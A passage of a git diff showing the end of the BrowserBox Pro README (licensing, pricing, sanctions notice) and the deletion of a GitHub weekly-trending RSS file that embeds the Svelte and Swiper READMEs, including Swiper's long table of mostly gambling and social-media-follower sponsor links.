<h3>Sanctions Compliance</h3> <p>Unfotunately if you or your company are an OFAC sanctioned entity or other entity sanctioned by the US Government (e.g. designated on OFAC's SDN List, BIS's DPL or Entity List, DDTC's DPL, or on the FBI's various lists, among others) we are unable to offer you a license of any form. Please note that in some cases we may conduct necessary checks to ensure sanctions compliance.</p> <h3>Licensing Summary</h3> <p>BrowserBox Pro offers flexible licensing options to cater to different usage scenarios. As previously mentioned, BBPro software is available for free for non-commercial use under the PolyForm NonCommercial license. This allows individuals and non-profit organizations to enjoy the benefits of BrowserBox Pro without any licensing fees when using the software without any participation in or anticipation of commercial application. The PolyForm NonCommercial license ensures that the software is used strictly for non-commercial purposes.</p> <p>Whether it's for non-commercial or commercial purposes, BrowserBox Pro provides a range of licensing options to accommodate different user needs and ensure a secure and powerful browsing experience.</p> <hr> <h2>Pricing</h2> <p>See <a href="https://dosyago.com">our website</a> and <a href="https://dosy.gumroad.com">our GumRoad</a> for accurate latest pricing or <a href="mailto:sales@dosyago.com?subject=Pricing">reach out to us</a>, but here is a summary below:</p> <table> <thead> <tr> <th align="center">License Type</th> <th align="center">Quantity</th> <th align="center">Price Per Unit/Pack</th> <th align="left">Includes</th> </tr> </thead> <tbody> <tr> <td align="center">Yearly</td> <td align="center">Up to 1</td> <td align="center">$84/seat/year</td> <td align="left"> <ul> <li>Purchase from 1 to 1 million licenses</li> <li>Each license is valid for 1 year</li> <li>Volume discounts for multiple licenses</li> <li>Source code access</li> <li>Use in customer-facing products or internally</li> <li>Email support</li> <li>Additional support tiers purchasable</li> <li>Customize yourself or contract us</li> </ul></td> </tr> <tr> <td align="center">Yearly</td> <td align="center">2-50</td> <td align="center">$64.92</td> <td align="left">Same as above</td> </tr> <tr> <td align="center">Yearly</td> <td align="center">51-500</td> <td align="center">$46.25</td> <td align="left">Same as above</td> </tr> <tr> <td align="center">Yearly</td> <td align="center">501-5000</td> <td align="center">$35.58</td> <td align="left">Same as above</td> </tr> <tr> <td align="center">Yearly</td> <td align="center">5001-100000</td> <td align="center">$10.67</td> <td align="left">Same as above</td> </tr> <tr> <td align="center">Yearly</td> <td align="center">100001+</td> <td align="center">$9.99</td> <td align="left">Same as above</td> </tr> <tr> <td align="center">Perpetual</td> <td align="center">10-pack</td> <td align="center">$1,947.60</td> <td align="left"> <ul> <li>Use forever</li> <li>Email support for 1 year</li> <li>Optionally buy more support</li> <li>Use in customer-facing products or internally</li> <li>Customize source code yourself, or contract us</li> </ul></td> </tr> <tr> <td align="center">Perpetual</td> <td align="center">100-pack</td> <td align="center">$13,875.00</td> <td align="left">Same as above</td> </tr> <tr> <td align="center">Perpetual</td> <td align="center">10,000-pack</td> <td align="center">$320,100.00</td> <td align="left">Same as above</td> </tr> </tbody> </table> <p><strong>Notes:</strong></p> <ul> <li><em>Perpetual Packs contain multiple seats. For example, the 10-pack contains 10 licenses.</em></li> <li><em>Each 'seat' represents a concurrent user.</em></li> </ul> <h2>Elevate Your Zero Trust Strategy with BrowserBoxPro</h2> <p>In the modern digital landscape, Zero Trust isn't just a model; it's a necessity. BrowserBoxPro stands as a testament to this, offering an unparalleled browsing experience while ensuring every interaction is verified, validated, and secure.</p> <p>Our commitment goes beyond just providing a product. We offer a partnership, ensuring that as the cybersecurity landscape evolves, so do our solutions. With BrowserBoxPro, you're not just adopting a tool; you're embracing a future where every interaction is secure.</p> <p>Join us in navigating the Zero Trust landscape. Secure your commercial license today and fortify your cybersecurity strategy with BrowserBoxPro.</p> <h2>Copyright</h2> <p>This project is copyright The Dosyago Corporation and Cris Stringfellow 2023. All rights reserved.</p> <p>For detailed information and progress updates, please refer to the <a href="https://github.com/dosyago/BrowserBox">official documentation</a>.</p> \ No newline at end of file diff --git a/javascript/weekly/index.xml b/javascript/weekly/index.xml deleted file mode 100644 index 36e6eba4fc9..00000000000 --- a/javascript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub JavaScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:28Z - Weekly Trending of JavaScript in GitHub - - - sveltejs/svelte - 2023-09-24T01:53:28Z - tag:github.com,2023-09-24:/sveltejs/svelte - - <p>Cybernetically enhanced web apps</p><hr><p><a href="https://svelte.dev"><img src="https://sveltejs.github.io/assets/banner.png" alt="Cybernetically enhanced web apps: Svelte"></a></p> <p><a href="https://raw.githubusercontent.com/sveltejs/svelte/master/LICENSE.md"><img src="https://img.shields.io/npm/l/svelte.svg?sanitize=true" alt="license"></a> <a href="https://svelte.dev/chat"><img src="https://img.shields.io/discord/457912077277855764?label=chat&amp;logo=discord" alt="Chat"></a></p> <h2>What is Svelte?</h2> <p>Svelte is a new way to build web applications. It's a compiler that takes your declarative components and converts them into efficient JavaScript that surgically updates the DOM.</p> <p>Learn more at the <a href="https://svelte.dev">Svelte website</a>, or stop by the <a href="https://svelte.dev/chat">Discord chatroom</a>.</p> <h2>Supporting Svelte</h2> <p>Svelte is an MIT-licensed open source project with its ongoing development made possible entirely by fantastic volunteers. If you'd like to support their efforts, please consider:</p> <ul> <li><a href="https://opencollective.com/svelte">Becoming a backer on Open Collective</a>.</li> </ul> <p>Funds donated via Open Collective will be used for compensating expenses related to Svelte's development such as hosting costs. If sufficient donations are received, funds may also be used to support Svelte's development more directly.</p> <h2>Roadmap</h2> <p>You may view <a href="https://svelte.dev/roadmap">our roadmap</a> if you'd like to see what we're currently working on.</p> <h2>Contributing</h2> <p>Please see the <a href="https://raw.githubusercontent.com/sveltejs/svelte/master/CONTRIBUTING.md">Contributing Guide</a> and <a href="https://raw.githubusercontent.com/sveltejs/svelte/master/packages/svelte">svelte package</a> for contributing to Svelte.</p> <h3>Development</h3> <p>Pull requests are encouraged and always welcome. <a href="https://github.com/sveltejs/svelte/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc">Pick an issue</a> and help us out!</p> <p>To install and work on Svelte locally:</p> <pre><code class="language-bash">git clone https://github.com/sveltejs/svelte.git cd svelte pnpm install </code></pre> <blockquote> <p>Do not use Yarn to install the dependencies, as the specific package versions in <code>pnpm-lock.json</code> are used to build and test Svelte.</p> </blockquote> <p>To build the compiler and all the other modules included in the package:</p> <pre><code class="language-bash">pnpm build </code></pre> <p>To watch for changes and continually rebuild the package (this is useful if you're using <a href="https://pnpm.io/cli/link"><code>pnpm link</code></a> to test out changes in a project locally):</p> <pre><code class="language-bash">pnpm dev </code></pre> <p>The compiler is written in JavaScript and uses <a href="https://jsdoc.app/index.html">JSDoc</a> comments for type-checking.</p> <h3>Running Tests</h3> <pre><code class="language-bash">pnpm test </code></pre> <p>To filter tests, use <code>-g</code> (aka <code>--grep</code>). For example, to only run tests involving transitions:</p> <pre><code class="language-bash">pnpm test -- -g transition </code></pre> <h3>svelte.dev</h3> <p>The source code for <a href="https://svelte.dev">https://svelte.dev</a> lives in the <a href="https://github.com/sveltejs/svelte/tree/master/sites/svelte.dev">sites</a> folder, with all the documentation right <a href="https://github.com/sveltejs/svelte/tree/master/documentation">here</a>. The site is built with <a href="https://kit.svelte.dev">SvelteKit</a>.</p> <h2>Is svelte.dev down?</h2> <p>Probably not, but it's possible. If you can't seem to access any <code>.dev</code> sites, check out <a href="https://superuser.com/q/1413402">this SuperUser question and answer</a>.</p> <h2>License</h2> <p><a href="https://raw.githubusercontent.com/sveltejs/svelte/master/LICENSE.md">MIT</a></p> - - - nolimits4web/swiper - 2023-09-24T01:53:28Z - tag:github.com,2023-09-24:/nolimits4web/swiper - - <p>Most modern mobile touch slider with hardware accelerated transitions</p><hr><p align="center"> <img src="https://swiperjs.com/images/share-banner-3.png"> </p> <p align="center"> <a href="https://swiperjs.com/get-started">Get Started</a> | <a href="https://swiperjs.com/swiper-api">Documentation</a> | <a href="https://swiperjs.com/demos">Demos</a> </p> <p align="center"> <a href="https://opencollective.com/swiper"> <img src="https://opencollective.com/swiper/all/badge.svg?label=financial+contributors" alt="Financial Contributors on Open Collective"> </a> <a href="https://github.com/nolimits4web/swiper/actions?query=workflow%3ABuild"> <img src="https://github.com/nolimits4web/swiper/workflows/Build/badge.svg?sanitize=true" alt="Build status"> </a> <a href="https://www.jsdelivr.com/package/npm/swiper"> <img src="https://data.jsdelivr.com/v1/package/npm/swiper/badge?style=rounded" alt="jsDelivr Hits"> </a> <a href="https://bundlephobia.com/result?p=swiper"> <img alt="tree-shakeable" src="https://badgen.net/bundlephobia/tree-shaking/swiper"> </a> <a href="https://npmjs.org/package/swiper"> <img alt="types included" src="https://badgen.net/npm/types/swiper"> </a> </p> <p align="center"> <a href="https://opencollective.com/swiper/" target="_blank"> <img src="https://opencollective.com/swiper/donate/button@2x.png?color=blue" width="300"> </a> </p> <h1>Swiper</h1> <p>Swiper - is the free and most modern mobile touch slider with hardware accelerated transitions and amazing native behavior. It is intended to be used in mobile websites, mobile web apps, and mobile native/hybrid apps.</p> <p>Swiper is not compatible with all platforms, it is a modern touch slider which is focused only on modern apps/platforms to bring the best experience and simplicity.</p> <h2>Sponsors</h2> <!-- SPONSORS_TABLE_WRAP --> <table> <tbody> <tr> <td align="center" valign="middle"> <a href="https://awisee.co.uk/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/awiseecouk.png" alt="SEO Agency UK - International SEO and Link Building Services" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://linkbuildingsweden.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/lbsweden.png" alt="Linkbuilding Sweden - Link Building Agency Sweden" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.vedonlyontibonukset.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/vedonlyontibonukset.png" alt="Vedonlyöntibonukset 2023 | Ilmaiset vihjeet | Koutsi hoitaa" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://bitcoinist.com/10-most-reputable-non-gamstop-casinos-uk-in-2023-%E2%9C%94%EF%B8%8F/amp/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/btcgaming.png" alt="10 Most Reputable Non-GamStop Casinos UK in 2023 ✔️ | Bitcoinist.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://writersperhour.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/writersperhour.png" alt="Hire Professional Paper Writers for Custom Writing Services" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://starwarscasinos.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/starwarscasinos.png" alt="Casino utan Svensk Licens 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://automatenspielex.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/automatenspielexcom.png" alt="automatenspielex online" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://automatenspieler.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/automatenspieler.png" alt="Automatenspieler - Das Casino-Portal von Spielern für Spieler" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://buyyoutubviews.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/buyyoutubviews.png" alt="Buy Youtube Views" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.gambleonlineaustralia.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/gambleonlineaustralia.png" alt="Gamble Online Australia | Best Online Gambling Sites List 2022" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nettikasinot.org/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nettikasinot.png" alt="Nettikasinot | Tässä parhaat nettikasinot 2022 - Katso lista" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.kasinohai.com/nettikasinot" target="_blank"> <img src="https://swiperjs.com/images/sponsors/kasinohai.png" alt="Nettikasinot 2022 | Löydä Luotettava &amp; Turvallinen Nettikasino!" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://bluechip.io/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bluechip.png" alt="indian casino Bluechip" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nongamstopodds.com/casinos-not-on-gamstop/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nongamstopodds.png" alt="NonGamStopOdds casino sites" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.casinotest.de" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinotest.png" alt="Online Casino Test 2022 » 90+ Casinos von Experten geprüft!" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.kasinot.fi" target="_blank"> <img src="https://swiperjs.com/images/sponsors/kasinot-fi.png" alt="Kasinot | Löydä parhaat nettikasinot (2022)" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.pelisivut.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/pelisivut.png" alt="Rahapelit netissä - Löydä parhaat pelisivut rahapeleihin" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.paraskasino.fi" target="_blank"> <img src="https://swiperjs.com/images/sponsors/paraskasino.png" alt="Paras nettikasino (2021) - Löydä listalta parhaat nettikasinot" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://parimatch.in/en/football/live" target="_blank"> <img src="https://swiperjs.com/images/sponsors/parimatch.png" alt="Online sports betting and casino at Parimatch India" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casino-wise.com/casinos-not-on-gamstop/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casino-wise-com.png" alt="Casinos not on GamStop | Casino-Wise.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nongamstopwager.com/casinos-not-on-gamstop/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nongamstopwager-com.png" alt="Casinos not on GamStop UK 🏆 NonGamStopWager.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoutankonto.net/casino-utan-svensk-licens/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoutankonto.png" alt="Casino utan spelpaus" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.casinot.net" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinot-net.png" alt="Casinot | Tässä parhaat netticasinot 2021 - Katso lista" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinoauditor.com/online-casinos-cyprus/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinoauditor.png" alt="Online Casinos Cyprus - CasinoAuditor" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://casinoshunter.com/online-casinos/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinos-hunter.png" alt="Best Online Casinos in Canada" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://papersowl.com/pay-for-research-paper" target="_blank"> <img src="https://swiperjs.com/images/sponsors/papersowl.png" alt="Pay Someone to Write My Research Paper" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://igchamp.co.uk/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/igchamp.jpg" alt="Buy Instagram Followers" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://slotcasinocanada.ca/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/slotcasinocanadaca.png" alt="Top Casinos in Canada with Bonuses for Players 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://gamblecritic.net/casinos-online/best-casino-sites/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/gamble-critic.png" alt="Best International Online Casinos by Gamble Critic" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://anonstories.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/anonstories.png" alt="AnonStories • Anonymous Instagram Story Viewer • Anon IG Viewer" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://boostlikes.uk/buy-youtube-subscribers-views/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/boostlikes.png" alt="Buy YouTube Subscribers &amp; Views UK @ just £1.99 - Boostlikes" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://zestate.co.uk/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/zestate.png" alt="Zestate - Search Postcodes,Properties, Local Places Across UK" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.socialwick.com/twitter/followers" target="_blank"> <img src="https://swiperjs.com/images/sponsors/socialwick-twitter-followers.png" alt="Buy Twitter Followers – 100% Active &amp; Instant" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://kaszinomagyar.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/kaszinomagyarcom.png" alt="Online Kaszinó Magyar, Legjobb Online Kaszinók 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://limeup.io/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/limeup.png" alt="UX Design &amp; Software Development Company" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinolandia.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinolandia.png" alt="CasinoLandia | An Exciting Journey in the Land of Online Casinos" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://twicsy.com/buy-instagram-comments" target="_blank"> <img src="https://swiperjs.com/images/sponsors/buy-instagram-comments-twicsy.png" alt="Buy Instagram Comments from Real Users | Powered by AI" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://twicsy.com/buy-instagram-followers" target="_blank"> <img src="https://swiperjs.com/images/sponsors/buy-instagram-followers-twicsy.png" alt="Buy Instagram Followers | Real, Instant Delivery &amp; Only $2.97" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.bairesdev.com/sponsoring-open-source-projects/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bairesdev.png" alt="BairesDev: Promoting Open Source for a Better Future" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://nongamstopcasinos.net/uk/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nongamstopcasinosnet.png" alt="UK Casinos not on GamStop 2023 - nongamstopcasinos.net" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://mines-game.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/mines-game.png" alt="Mines Aposta lll▷ Jogo da Bombinha Que da Dinheiro" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.outlookindia.com/outlook-spotlight/migliori-siti-non-aams-siti-scommesse-senza-licenza-sicuri-news-294715" target="_blank"> <img src="https://swiperjs.com/images/sponsors/outlookindia.png" alt="siti non AAMS - outlookindia.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://kajino.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/kajinocom.png" alt="オンラインカジノ評価2023【深層分析】~おすすめ人気オンラインカジノ | Kajino" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://aussielowdepositcasino.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/aussielowdepositcasino.png" alt="Best Aussie casinos at aussielowdepositcasino.com" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://gamblechecker.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/martin-woods.png" alt="Gamblechecker.com - Online Pokies Reviews For NZ Players" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://expressfollowers.com/buy-instagram-reel-views/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/buy-instagram-reels-views.png" alt="buy ig reel views" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.outlookindia.com/outlook-spotlight/slots-not-on-gamstop-new-non-gamstop-casinos-uk-news-284058" target="_blank"> <img src="https://swiperjs.com/images/sponsors/alistair3.png" alt="Slots Not on GamStop - New Non-GamStop Casinos UK" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://cyberogism.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/cyberogism.png" alt="Technology, Security, Innovation, The Cyber World Now | Cyberogism" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://www.technologypep.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/technologypep.png" alt="Tech Pep | Latest Gadgets and Technology News" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.kayakstore.se/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/kayakstore.png" alt="Kayakstore is the premier Swedish e-commerce destination for fishing gear and outdoor products" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://dashtickets.nz/online-pokies-real-money/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/jetx-jogo-223-2.png" alt="DashTickets NZ online pokies for real money in New Zealand" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://wmd.hosting/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/wmd-logo.png" alt="Hosting Europe – Super fast support better than AI" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casino-zonder-cruks.com" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casino-zonder-cruks.png" alt="Casino Zonder Cruks" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://menaseo.ae/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/mena-seo.png" alt="mena seo agency - supercharge your growth in the MENA region" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://igamingmi.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/igamingmi.png" alt="iGamingMI: Your Trusted Online Gambling Guide In Michigan" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://tranio.com/spain/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/tranio.png" alt="Property for sale in Spain" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://ratemycasino.ca/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/alexliam.png" alt="Top 10 online casinos list for Canadians" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.minimumdepositcasinos.org/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/minimumdepositcasinosorg.png" alt="Minimum Deposit Casinos 2023 - Get more bang for your buck with our low deposit casinos" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://apacseo.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/apac-seo.png" alt="apac seo agency - supercharge your growth in the APAC region" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nyecasino.me/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nyecasino.png" alt="Nye casino 2023 >> Finn et helt nytt norsk nettcasino nå!" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://idealecasinos.nl/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/niel-heijnsbergen.png" alt="Beste iDeal Casino's 2023 - Veilige NL Online Casino met iDeal" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://myfootballbets.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/myfootballbets.png" alt="My Football Bets: Compare Betting Odds and Sites" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://scrapcartorontoshop.ca/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/scrap-car-removal-toronto.png" alt="Scrap Car Removal Toronto | Best Cash For Scrap Cars up to $5,000" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.vedonlyontibonukset.com/pitkavetovihjeet" target="_blank"> <img src="https://swiperjs.com/images/sponsors/pitkavetovihjeet.png" alt="Pitkävetovihjeet | Joka päivä uusia kohteita | Lue lisää" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://socialboss.org/buy-instagram-likes/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/socialboss.png" alt="buy Instagram likes" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://linkbuildingitaly.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/link-building-italy.png" alt="Linkbuilding Italy - Link Building Italy" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://uusi-pikakasino.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/uusi-pikakasinocom.png" alt="Pikakasinot 2023 | Löydä paras uusi pikakasino suomessa!" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://kasinokolikkopelit.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/kasinokolikkopelitcom.png" alt="Rahapelit Netissä Toukokuu 2023 - Paras Rahapeli Valikoima" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.newsbtc.com/news/company/real-money-online-casino-best-casinos-that-pay-real-money/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/playrealmoneyslots.png" alt="Real Money Online Casino - Best Casinos That Pay Real Money" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://buycheapestfollowers.com/buy-instagram-reels-views" target="_blank"> <img src="https://swiperjs.com/images/sponsors/thebestsolution.png" alt="Buy Instagram Reels Views" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://casinocrawlers.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinocrawlerscom.png" alt="Best Online Casino NZ in 2023 - Online Gambling NZ" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.frichert.se/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/frichert.png" alt="SEO Skribent &amp; Copywriter - Filippa Richert" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://www.casinot.biz/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/casinotbiz.png" alt="Casinot: Katso mitkä ovat parhaat casinot netissä 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://no-verification.casino/uk/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/noverificationcasino.png" alt="no id verification withdrawal casino uk" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.ghotala.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/ghotala-com.png" alt="सर्वोत्तम गैम्बलिंग साइट भारत : 100% सुरक्षित ऑनलाइन जुआ" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://mobipast.net/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/mobipast.png" alt="mobiplast" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://dr.sc/top-10-najboljih-online-casina-u-hrvatskoj/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/doctor-sports-and-casinos-dr-sc.png" alt="Top 10 Najboljih Online Casino u Hrvatskoj u 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://dispomode.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/user-53231496.webp" alt="Online Vape Shop – DispoMode" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.kiekkotorni.com/vahvat-nikotiinipussit" target="_blank"> <img src="https://swiperjs.com/images/sponsors/vahvat-nikotiinipussit-netista.png" alt="Vahvat Nikotiinipussit Laillisesti Suomeen - Kiekkotorni" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://onlinecasinosspelen.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/onlinecasinosspelen.png" alt="Onlinecasinosspelen.com site is dé nummer één gids, waardoor je gemakkelijk alle informatie van de top 10 online casino sites." width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.weareroli.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/pucuk138.png" alt="Pucuk138 » Daftar Situs Judi Online Slot Gacor Hari Ini" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://slotsmegacasino.com/en-au/top-10-online-casinos" target="_blank"> <img src="https://swiperjs.com/images/sponsors/slotsmegacasino.png" alt="Top 10 Australian Online Casinos ➤ Real Money (Aud) 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://onlinecasinoudenrofus.dk/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/slotsmegacasino.png" alt="Spille Uden Om Rofus - Bedste Casinoer Uden Rofus" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://fatgambler.ca/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/fatgambler.png" alt="FatGambler - Canadian Online Casino Reviews" width="160"> </a> </td> </tr> <tr> <td align="center" valign="middle"> <a href="https://cryptoseoagency.co/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/cryptoseo-agency.png" alt="Crypto SEO Agency - Scaling the growth in the Crypto space" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://linkbuildingasia.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/linkbuilding-asia.png" alt="Link Building Asia" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.onlinecasinosnederland.org/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/onlinecasinosnederland-org.png" alt="De Beste Online Casinos in Nederland – Casino Reviews voor Nederlandse Spelers" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.nettcasino.com/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/nettcasino.png" alt="Nettcasino i Norge - Beste norske online casino på nett" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://howsociable.com/buy-instagram-followers/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/howsociable.png" alt="Best Sites To Buy Instagram Followers In 2023 | Howsociable" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://aviaorevue.com.br/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/aviaorevue.png" alt="" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://www.bestuscasinos.org/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/bestuscasinos.png" alt="Best Online Casinos USA | Top US Online Gambling Sites 2023" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://onlinecasino.ua/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/onlinecasinoua.png" alt="Огляд найкращих казино в Україні" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://jetxgame.org/" target="_blank"> <img src="https://swiperjs.com/images/sponsors/jetx-jogo-223.png" alt="JetX - jogo do foguete que ganha dinheiro - tudo sobre o jogo jetX" width="160"> </a> </td> <td align="center" valign="middle"> <a href="https://sup.today/" target="_blank"> <img 